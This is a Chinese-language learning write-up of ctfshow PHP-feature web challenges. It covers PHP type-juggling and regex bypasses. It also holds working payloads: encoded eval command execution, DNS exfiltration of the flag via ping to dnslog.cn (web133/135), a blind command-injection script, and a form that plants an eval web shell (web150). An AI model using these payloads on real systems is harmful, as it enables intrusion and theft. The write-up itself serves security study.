ctfshow_web入門 PHP特性——學習
PHP特性
這裡以半做題,半學習為主,所以就顯得比較囉嗦
阿巴阿巴,但是實際上,寫得比較水,等過一段時間再總結一下
比較深刻的印象是:下一個手冊,多看手冊
web 89
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
preg_match()函式一個漏洞 無法處理陣列
所以構造陣列繞過:
?num[]=1
?num[]=也行
額,寫了一個小指令碼測試了一下
也算是傳入了值的(算是傳入了空嘛),所以陣列中有元素
傳入的元素是字串型別的。
web 90
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
所以考慮傳入一個16進位制或者8進位制的了
payload
?num=010574
?num=0x117c
?num=4476a
intval()函式如果$base為0,則$var中存在字母的話遇到字母就停止讀取,傳入4476a會將後面的a丟棄,比較前面的
web 91
show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }
額,做題犯迷糊了,主要是一直想不懂phpphp%0aphp
和php%0aphp
可以拿到flag,
一直沒理解到,好吧,現在也迷糊。因為是學習,所以不能直接拿到flag就過了
原來是正則理解錯了,/^php$/
只能夠匹配'php'
,當時鬼使神差的以為是首尾是php就行
payload
?cmd=%0aphp
第一個if,因為它是多行匹配,所以匹配第二行的php過濾
第二個if,因為我們傳入%0a是空格,在資料夾中的顯示(如下圖),所以沒有匹配上
在padnote++中檢視,顯示字元,設定的全部顯示
看了一下hint,裡面有一個關於檔案上傳中Apache解析的漏洞
Apache HTTPD 換行解析漏洞(CVE-2017-15715)與拓展
利用最新Apache解析漏洞(CVE-2017-15715)繞過上傳黑名單
簡單來說就是,Apache2.4.0~2.4.29中在.php的16進位制後面加上0a被解析為PHP檔案執行了(在利用.php.xxx)繞過那一關,離譜,burp2021沒有hex的選項,所以在後面新增0x0a有需要百度一下。對檔案上傳的指令碼也有要求,限制條件有點多,還是請看看上面兩個部落格。
web 92
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
普通繞過
感覺和web89差不多,payload:
?num=0x117c
因為是個字串(前面有演示,只是用的資料是123456),所以第一個判斷繞過了
intval檢查字串首部是不是0x,是就當做16進位制解析為10進位制,且117c的十進位制是4476
所以通過判斷
hint,不懂這是什麼方法
intval()函式如果$base為0,則$var中存在字母的話遇到字母就停止讀取
但是e這個字母比較特殊,可以在PHP中不是科學計數法。
所以為了繞過前面的==4476
我們就可以構造 4476e123 其實不需要是e其他的字母也可以
不過問題是,說的能用其它字元,但是隻有e是可以的,由於懶(但是不能懶),所以寫一個指令碼進行測試,發現,確實只有e才能夠得flag,不然第一個判斷,強弱型別比較就nonono了
再進行php指令碼的一個判斷輸入的4476e123為什麼型別
SQL注入程式碼判斷
一般是使用?id=1'
進行判斷。在這之前,可以傳入一個?id[]=1
的陣列進去;
如果返回頁面是:?id=1
,那麼就可以找下一個注入點了,因為接受id的程式碼寫法可能是
$id=intval($_GET['id']);
web 93
web92+過濾輸入的字母
payload:?num=010574
利用8進位制繞過
web 94
if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }}strpos查詢"0"在$num中第一次出現的位置。如果匹配不了也返回NULL;
payload
?num=4476.01 必須加一個0,否則第三個判斷會因為匹配不到0,而返回空?num=空格010574 加上一個空格過濾,不太清楚原因?num=%20010574 加上一個空格的url編碼,不太清楚原因?num=%0a010574 加深換行符的url編碼?num=+010574 加上+,不太清楚原因?num=%2b010574 加上+的url編碼,不太清楚原因
web 95
if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; }}過濾了小數點,還將強匹配改成了弱匹配
payload
?num=空格010574 前面加一個空格過濾,不太清楚原因?num=%20010574 加上空格的url編碼,不太清楚原因?num=%0a010574 加深換行符的url編碼
寫了一個指令碼,跑了一下,看看那些字元新增之後,不會影響intval()函式的執行,有的是不可見字元,就直接給出asc的十六進位制了。指令碼就放下面了,名字是:不會影響intval()的可見與不可見字元
1:0x9字元是 水平定位符2:0xa字元是 換行符3:0xb字元是 垂直定位符4:0xc字元是 換頁鍵5:0xd字元是 歸位符6:0x20字元是 控制裝置4(空格)7:0x2b字元是 +
web 96
if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); }}
payload
絕對路徑:/var/www/html/flag.php相對路徑:./flag.php
偽協議:(我一直以為偽協議只有用在include中才能用)
?u=php://filter/convert.base64-encode/resource=flag.php
web 97
if (isset($_POST['a']) and isset($_POST['b'])) {if ($_POST['a'] != $_POST['b'])if (md5($_POST['a']) === md5($_POST['b']))echo $flag;elseprint 'Wrong.';}?>
payload
post a[]=&b[]=123
理解不了,強行記憶
傳入陣列,比較時,比較傳入物件(陣列也算物件)的元素,在進行md5加密判斷時,md5()函式加密的都是空字元
web 98
<?include("flag.php");$_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);?>
是真的有點繞,簡單來說,首先要看懂三目運算子,接著要看懂引用。
$_GET
和$_POST
分別採集get和post表單中的資料,是陣列,$_GET=&$_POST
意思是,給$_GET
賦值為$_POST
的值。簡單來說就是,$_GET['123']=1
成了$_POST['123']=123
,大概就是這樣。
?a=apsot flag=asdf&HTTP_FLAG=flag?a=apost HTTP_FLAG=flag?a=apost flag=flagcookie HTTP_FLAG=flag
web99
$allow = array();for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));}if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']);}
額,試了一手,沒得過濾,看了一下hint,說的是in_array
沒有設定第三個引數,就會將n=1.php自動轉換為1
?n=45.phppost content=<?php system('tac flag36d.php');?>
web 100
include("ctfshow.php");//flag in class ctfshow;$ctfshow = new ctfshow();$v1=$_GET['v1'];$v2=$_GET['v2'];$v3=$_GET['v3'];$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
注意一點:and是或的意思,請看:額,不看了,記住是或不是且就行
然後payload,忘了,
v1=1&v2=eval($_POST[1])?>&v3=;或者v1=1&v2=var_dump($ctfshow)/*&v3=*/;(有點好奇,不封閉,不影響嗎)
web 101
學習了,學習了
利用反射類,Relectionclass()
函式,作用:根據類名反射一個類。在程式碼執行時,加入輸入一個A,但是在邏輯判斷之後,生成了一個B類,所以這時,用Relectionclass("A")來限定生成A類。
payload
echo new Reflectionclass('ctfshow')
拿到flag之後,因為flag比以前少了一位,所以要在末尾新增一個字元,進行爆破
web 102
題目:substr(字串,起始位置,[結束位置]):擷取字串長度call_user_func 把第一個引數作為回撥函式呼叫,後面的引數作為給回撥函式的引數
$v1 = $_POST['v1'];$v2 = $_GET['v2'];$v3 = $_GET['v3'];$v4 = is_numeric($v2) and is_numeric($v3);if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str);}else{ die('hacker');}
用hint的方法就行,
get ?v2=1·44383959474e6864434171594473&v3=php://filter/convert.base64-decode/resource=1.phppost v1=hex2binhex2bin 轉換十六進位制字串為二進位制字串
v2=115044383959474e6864434171594473:去掉前兩位數字(11,用來繞過substr)的截斷。同時也是16進位制編碼的PD89YGNhdCAqYDs
,而PD89YGNhdCAqYDs
解碼出來是:<?=
cat *;
因為有e
,所以被當做了科學計數法的數字(7.0.0及以下,也會將0x開頭的當做數字)。
再結合v1=hex2bin
將v2轉化為PD89YGNhdCAqYDs
,再通過v3實現偽協議的base64-decode通道解碼
web 103
白嫖102
web 104
沒有任何的過濾機制,所以直接上傳兩個相同的就是了
web 105
比較典型的引數覆蓋,仔細看看程式碼就看得懂。
payload
1:?suces=flag&flag= 從die($suces)輸出flag2:?suces=flag post error=suces 從die($error)輸出flag:
include('flag.php');$error='你還想要flag嘛?';$suces='既然你想要那給你吧!';foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; /* get傳入suces=flag,所以$suces=$flag(答案,已經進行了賦值) 若傳入flag=,所以$flag=空,用來繞過一個判斷*/}foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value;}if(!($_POST['flag']==$flag)){ die($error);}echo "your are good".$flag."\n";die($suces);?>
web 106
同md5上傳陣列
web 107
if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; }}
parse_str — 將字串解析成多個變數,也就是說,v1傳遞的值,以陣列方式放到v2中去了。
payload1
get ?v3=1post v1=flag=c4ca4238a0b923820dcc509a6f75849bmd5(1)=c4ca4238a0b923820dcc509a6f75849b
payload2
如果v3提交一個數組,返回值是NULL,那麼可以不提交v2
get v3[]=1post v1=
payload3
get ?v3=240610708post v1=flag=0
web 108
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error');}//只有36d的人才能看到flagif(intval(strrev($_GET['c']))==0x36d){ echo $flag;}ereg():正則表示式函式,沒有preg_match好用strrev():字串的倒敘
ereg()函式用指定的模式搜尋一個字串中指定的字串,如果匹配成功返回true,否則,則返回false。搜尋字 母的字元是大小寫敏感的。 ereg函式存在NULL截斷漏洞,導致了正則過濾被繞過,所以可以使用%00截斷正則匹配
get ?c=a%00778
web 109
if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); }}
paylaod
v1=Exception&v2=system('cat fl36dg.txt')
web 110
if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); } eval("echo new $v1($v2());");}?>
payload1
get ?v1=FilesystemIterator&v2=getcwd getcwd():獲取當前檔案目錄FilesystemIterator&遍歷檔案的類DirctoryIntrerator 遍歷目錄的類
web 111
利用全域性變數
?v1=ctfshow&v2=GLOBLS
web 112
可以直接
php://filter/read/resource
web 113
在web 112對的基礎上過濾了php
function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; }}$file=$_GET['file'];if(! is_file($file)){ highlight_file(filter($file));}else{ echo "hacker!";}
payload
compress.zlib://flag.php
hint:利用目錄溢位,從而讓is_file認為不是一個檔案
web 114
highlight_file()不能夠高亮陣列,沒有過濾php和filter
payload
?file=php://filter/resource=flag.php
web 115
function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num;}$num=$_GET['num'];if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; }}else{ echo "hacker!!!";}
%0C
:換頁鍵
可能會有個問題,就是說,在filter()函式中,過濾了0
,但是這裡為什麼能用%0c
呢。因為,如果需要傳入不可見字元,但是沒有辦法,表示,所以就用了%+16進位制數
來代表新增的對應的符號,例如這裡的%0c
,雖然寫得有0
,但是上傳之後,%0c
表示換頁鍵,是一個不可見字元
web 123
PHP變數名應該只有數字字母下劃線,同時GET或POST方式傳進去的變數名,會自動將空格 + . [轉換為_
但是有一個特性可以繞過,使變數名出現.之類的
特殊字元[, GET或POST方式傳參時,變數名中的[也會被替換為_,但其後的字元就不會被替換了
如 CTF[SHOW.COM=>CTF_SHOW.COM
payload
1.get CTF_SHOW=2&CTF[SHOW.COM=1&fun=echo $flag2.get CTF_SHOW=2&CTF[SHOW.COM=1&fun=echo implode(get_defined_vars())
web 125
include("flag.php");$a=$_SERVER['argv'];$c=$_POST['fun'];if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } }}在web124的基礎上過濾了echo print_r var_dump
不過,可以使用var_export來進行輸出,所以payload
CTF_SHOW=2&CTF[SHOW.COM=1&fun=var_export(get_defined_vars())
騷操作來了:
1.覆蓋fl0g(最騷)
函式:extract():從陣列中將變數匯入到當前的符號表
所以payload
CTF_SHOW=2&CTF[SHOW.COM=1&fl0g=flag_give_me&fun=extract($_POST)
2.檔案包含
利用執行的eval,在fun中傳入highlight_file($_GET[1])
payload
get ?1=flag.phppost CTF_SHOW=2&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])
3.argv上傳
argv只接受get傳入引數,post方式不行
同樣,通過eval執行$a,對$fl0g進行賦值
paylaod
get ?$fl0g=flag_give_me;post CTF%5BSHOW.COM=1&CTF_SHOW=2&fun=eval($a[0])
4.argv上傳——改
get: a=1+fl0g=flag_give_mepost: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])get /?$fl0g=flag_give_mepost CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
web 126
嫖web125,argv上傳的做法
web 127
$_SERVER['QUERY_STRING']是獲取url後面的引數以及值的,
於是只能傳遞一個引數
所以這個題的考點是,怎麼構造一個下劃線。首先我們是知道[ . 空格
會被轉化為下劃線,恰好沒過濾空格,所以
payload
ctf show=ilove36d
嗯,這裡打算跑一下,有哪些字元會被轉換為_
。
結果是:空格 + . [
會被轉化為_
web 128
$f1 = $_GET['f1'];$f2 = $_GET['f2'];if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2)));}else{ echo "嗯哼?";}function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str);}call_user_func()把第一個引數作為回撥函式,剩下的作為給回撥函式的引數
新知識:
gettext()函式有一個別名:_
gettext()的作用就是輸出一個字串,
所以payload:
f1=_&f2=get_defined_vars
web 129
if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){ echo readfile($f); }}
額,說的是考慮目錄穿越,於是試了一下
./ctfshow/../index.php
接著嘗試
./ctfshow/../flag.php
發現是空白的,順手看眼原始碼,能讀到index.php所以應該能讀到flag.php
web 130
?我直接上傳f=ctfshow
成功了?
/is s是匹配換行
因為/.+?ctfshow/is
前面是.+?
,意思是,在ctfshow字串前面有至少一個字元。所以直接上傳ctfshow能拿到flag。
如果設定表示式為:(.+)?
那麼ctfshow就無法繞過了
web 131
include("flag.php");if(isset($_POST['f'])){ $f = (String)$_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){ die('bye!!'); } echo $flag;}
這個題考的是,正則表示式溢位,新知識了。
php正則失效-最大回溯(pcre.backtrack_limit)/遞迴限制
正則表示式,對一百萬長度後面的就不匹配了。
直接用hint的就行,如果複製貼上太卡,可以試試這個指令碼
import requestsurl='http://ced5ea6a-1d3b-4f66-a3ff-61a42deeaec4.challenge.ctf.show:8080/'data={ 'f':'show'*250002+'36Dctfshow'}re=requests.post(url=url,data=data).textprint(re)
web 132
訪問robots.txt,發現有一個admin目錄,訪問得到
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code']; if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } }}
嗷,對了忘了說,這裡建議下載一個手冊,查函式的時候是真的方便
所以,看程式碼;我們沒有辦法預測mt_rand()
函式的值,又看運算;其實,一眼望過去,會發現,第一第二個判斷都是無法預測無法構造的,只能是FALSE,巧就巧在,前兩個過了,後面的username
能夠進入判斷和能夠利用;
所以對username進行賦值admin,又由於code也要等於admin,所以給code也賦值為admin,反正code字串時肯定不等於mt_rand()的隨機數的。password沒得什麼用,不復制也行
?username=admin&password=&code=admin
web 133
這題有點沒看懂,沒懂這個方法原理是怎麼樣的。
給我的感覺是,訪問一個地址,然後在地址查詢記錄;恰好有個線上工具
每次外帶只能帶一條輸出來,讓後執行命令
payload是
?F=`$F`;+`ping "cat flag.php|grep ctfshow".atqwxp.dnslog.cn -c 1`
顯然沒構造對,,,,
?F=`$F`;+ping `cat flag.php|grep ctfshow`.atqwxp.dnslog.cn -c 1
先理解一下是怎麼把flag帶出來的,接著再看怎麼執行帶出flag的語句
傳入的是?F=`$F`;+ping `xxx```在PHP中相當於是shell_exec()的函式別名,類似gettext()函式別名為_()程式碼中進行了前六位的截斷,就只有`$F`;空格 +上傳之後是空格又因為$F=`$F`;+ping `xxx`;所以,截斷後,執行的程式碼是 eval(`$F`; ping `xxx`),為什麼前面還是有`$F`呢?,因為$F=`$F`;+ping `xxx`;套娃瞭然後通過構造xxx,把flag拿出來,進行拼接,接著ping一下,sss.dnslog.cn。最後檢視記錄
大概就是這麼一個意思
web 134
highlight_file(__FILE__);$key1 = 0;$key2 = 0;if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono");}@parse_str($_SERVER['QUERY_STRING']);extract($_POST);if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php'));}a&&b 如果a錯誤,不走ba||b 如果b正確,不走b$_SERVER['QUERY_STRING']是獲取get的引數以及值的extract 從陣列中將變數匯入到當前的符號表(簡單來說就是,將數組裡的鍵給搞成變數,將陣列的值給對應的鍵)
payload
get ?_POST[key1]=36d&_POST[key2]=36d原因是:@parse_str($_SERVER['QUERY_STRING']); 將資料轉化為了,$_POST[key1]=36d接著extract($_POST)將$_POST[key1]=36d轉化為了$key=36d
web 135
和web133差不多的方式,只是需要換一個nl flag
?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd "[a-z]"/"[0-9]"/"{"/"-"`.4qv6n3.dnslog.cn -c 1
拿到第一個flagflag1=ctfshow{fbfe4223341
,就是有點不懂,為啥不加正則不行
然後有用 命令查看了一下是不是還有其他的檔案,發現沒有
最後看了視訊才知道,原來在16行
web 136
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); }}if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c);}else{ highlight_file(__FILE__);}
這個要新學一個Linux的 命令:tee
payload
get ?c=ls /|tee 1 掃描根目錄,將結果存入檔案1中,由於過濾了. 所以不能加字尾然後訪問url/1get ?c=nl /f149_15_h3r3|tee 2
拿到flag
web 137
額,觀察一波,傳入一個ctfshow類中的方法
payload
post ctfshow=ctfshow::getFalg
web 138
import requestscmd = 'cat /f149_15_h3r3'result = ''for i in range(1, 10): for j in range(1, 50): print('i=', i, ' j=', j) for k in range(32, 128): k = chr(k) payload = f"if [ `{cmd} |awk NR=={i}|cut -c {j}` == {k} ]; then sleep 3;fi" payload = '?c=' + payload url = 'http://15531f1c-3c8e-4e3f-9f0c-163a616f390d.challenge.ctf.show:8080/' try: requests.get(url + payload, timeout=(2.5, 2.5)) except: result = result + k print(result) break result = result + "\n"
web 140
if(isset($_POST['f1']) && isset($_POST['f2'])){ $f1 = (String)$_POST['f1']; $f2 = (String)$_POST['f2']; if(preg_match('/^[a-z0-9]+$/', $f1)){ if(preg_match('/^[a-z0-9]+$/', $f2)){ $code = eval("return $f1($f2());"); if(intval($code) == 'ctfshow'){ echo file_get_contents("flag.php"); } } }}
這裡看到eval,說實話,一開始想到的是命令執行,或者是外帶,或者是反射類,執行出來一個ctfshow字串或者是。試了一下都不行,最後看了一下別人的部落格,說的是隻要eval執行的結果是0或者是NULL就行,但是不能報錯。
最後仔細一看,用弱比較過的判斷。intval()函數出來的必是一個數字,數字和字串這裡進行弱比較,數子就得是0了。
payload,隨便用哪一個
post f1=usleep&f2=usleeppost f1=gmdate&f2=gmdatepost f1=intval&f2=intval
web 141
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/^\W+$/', $v3)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } }}is_numeric — 檢測變數是否為數字或數字字串 (是,true;否,false)
利用|
運算來進行程式碼執行,看的這一位師傅的wp
payload
?v1=1&v2=1&v3=*("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%20%06%0c%01%07%02%10%08%10"|"%60%60%60%20%60%60%60%60%2c%60%60%60");systemcat flag.php
使用system('cat flag.php')
不行
web 142
payload:
?v1=0
web 143
從這裡開始建議去看這個部落格了,我的程式碼始終有點問題
payload
?v1=1&v2=2&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%02%10%08%10"^"%60%60%60%20%60%60%60%60%2c%60%60%60")?>
web 144
import recontent=''count=0preg='[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"'for i in range(1,256): for j in range(1,256): if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)): k=i^j if 32<=k<=126: a='%'+hex(i)[2:].zfill(2) b='%'+hex(j)[2:].zfill(2) content=content+chr(k)+' '+a+' '+b+'\n'#print(content)f=open('exp_yh.txt','w')f.write(content)f.close()# print('pass'+chr(i)+'==>'+str(i))while True: payload1='' payload2='' payload='' code=input('data: ') f=open('exp_yh.txt','r') lines=f.readlines() for c in code: for line in lines: if c==line[0:1]: payload1=payload1+line[2:5] payload2=payload2+line[6:9] break payload='("'+payload1+'"^"'+payload2+'")' print('payload:'+payload)
因為是學習,不能總是抄別人的程式碼,於是額手打了一次
?v1=1&v3=2&v2=*(%22%08%02%08%08%05%0d%22^%22%7b%7b%7b%7c%60%60%22)(%22%03%01%08%07%06%0c%01%07%02%0b%08%0b%22^%22%60%60%7c%27%60%60%60%60%2c%7b%60%7b%22)
web 145
?v1=1&v2=2&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%20%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|
格式1|()|2
或者1?()2
web 146
同上
web 147
由於名稱空間問題,如果要絕對呼叫一個函式,例如system,那麼就要寫成\system
php裡預設名稱空間是\,所有原生函式和類都在這個名稱空間中。 普通呼叫一個函式,如果直接寫函式名function_name()呼叫,呼叫的時候其實相當於寫了一個相對路 徑; 而如果寫\function_name()這樣呼叫函式,則其實是寫了一個絕對路徑。 如果你在其他namespace裡呼叫系統類,就必須寫絕對路徑這種寫 法
paylaod
?show=;};phpinfo();/*ctf=\create_function
web 148
payload1
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%0c%01%07%01%0b%08%0b"^"%60%60%7d%21%60%60%60%60%2f%7b%60%7b");檢視原始碼
web 149
條件競爭,沒有過濾,執行緒開高點
然後再調高一些
web 150
可以嘗試用上傳檔案的形式做,
首先要知道怎麼繞過過濾,然後執行include($ctf)
審計程式碼之後發現,有一個extract($_GET)
,可以用來上傳$isVIP=1
繞過$isVIP。extract
作用就不在贅述了
接著通過post上傳ctf,如果用get方式傳遞,會被過濾。從ctf
上傳/tmp/sess_test
如圖 :
所以,在題目中,上傳ctf=/tmp/sess_test
,那麼/tmp/sess_test
會被載入,如果檔案滿足PHP格式,那麼通過include後會執行PHP部分程式碼。詳情可以看檔案包含_web82
接著寫一個上傳檔案的html程式碼,上傳,同時在題目介面傳送post的請求。
<html><body><form action="http://02b60c98-5818-4f14-b442-bfab88477ae3.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php file_put_contents('/var/www/html/test1.php','<?php eval($_POST[test1]);?>');?>" /><input type="file" name="file" /><input type="submit" value="submit" /></form></body></html>
反覆上傳,直到能夠訪問url/test1.php,接著利用rce拿到flag
web150_
題目和150幾乎一樣,只是了一個log過濾
方法同web150
這個方法,怎麼說呢,感覺只要沒有過濾_ \
,幾乎就是萬能的了,頂不住。
繞過intval
intval原理:https://www.runoob.com/php/php-intval-function.html,反覆多看幾次
不繞過方式:(額,就是進入了這個判斷,if成功,才能拿到flag,不是else)
- 利用16進位制和8進位制
- 利用字元干擾,intval()函式如果$base為0,則$var中存在字母的話遇到字母就停止讀取,例如web92——hint
- 數字前加上
空格
,空格的url編碼 %20
,換行符的url編碼 %0a
+
,+的url編碼 %2b
1:0x9字元是 水平定位符2:0xa字元是 換行符3:0xb字元是 垂直定位符4:0xc字元是 換頁鍵5:0xd字元是 歸位符6:0x20字元是 控制裝置4(空格)7:0x2b字元是 +
不會影響intval()的可見與不可見字元
import requests# 額,所用的url是web95的題目環境;程式碼寫的爛,請將就將就url='http://74959170-6cdd-4bd3-9e06-3c749b1aa773.challenge.ctf.show:8080/'url_test=url+'?num=010574'url_right=url+'?num= 010574'exp_len=len(requests.get(url_test).text)right_len=len(requests.get(url_right).text)useful=''num=1for i in range(1,255): URL=url+'?num='+chr(i)+'010574' lenth=len(requests.get(url=URL).text) #print (chr(i)) if lenth!=exp_len: print(str(lenth)+'========>'+chr(i)+'====>'+str(hex(i))) if lenth==right_len: useful=useful+str(num)+':'+str(hex(i))+'字元是'+chr(i)+'\n'#+URL+'\n' num+=1 print(exp_len)print(right_len)print(useful)
多嘴一句,咋們貌似還可以將255給調大點,雖然後面的貌似都沒有什麼作用
八卦都整出來了,都沒有合適的(吃飯的時候跑了一下玩一玩)
反射類
web 101
SplFileInfomysqliexception
md5 sha1
- 陣列繞過
- md5(array())返回值為NULL
覆蓋類
- 全域性變數 GLOBALS
- is_file函式可以使用包裝器偽協議繞過,不影響file_get_contents highlight_file
- readfile考慮目錄穿越,
- include也可以考慮目錄穿越
帶出類
特點:只會給6個位置,沒過濾反引號
利用https://dnslog.cn來講查詢到的flag帶出道記錄中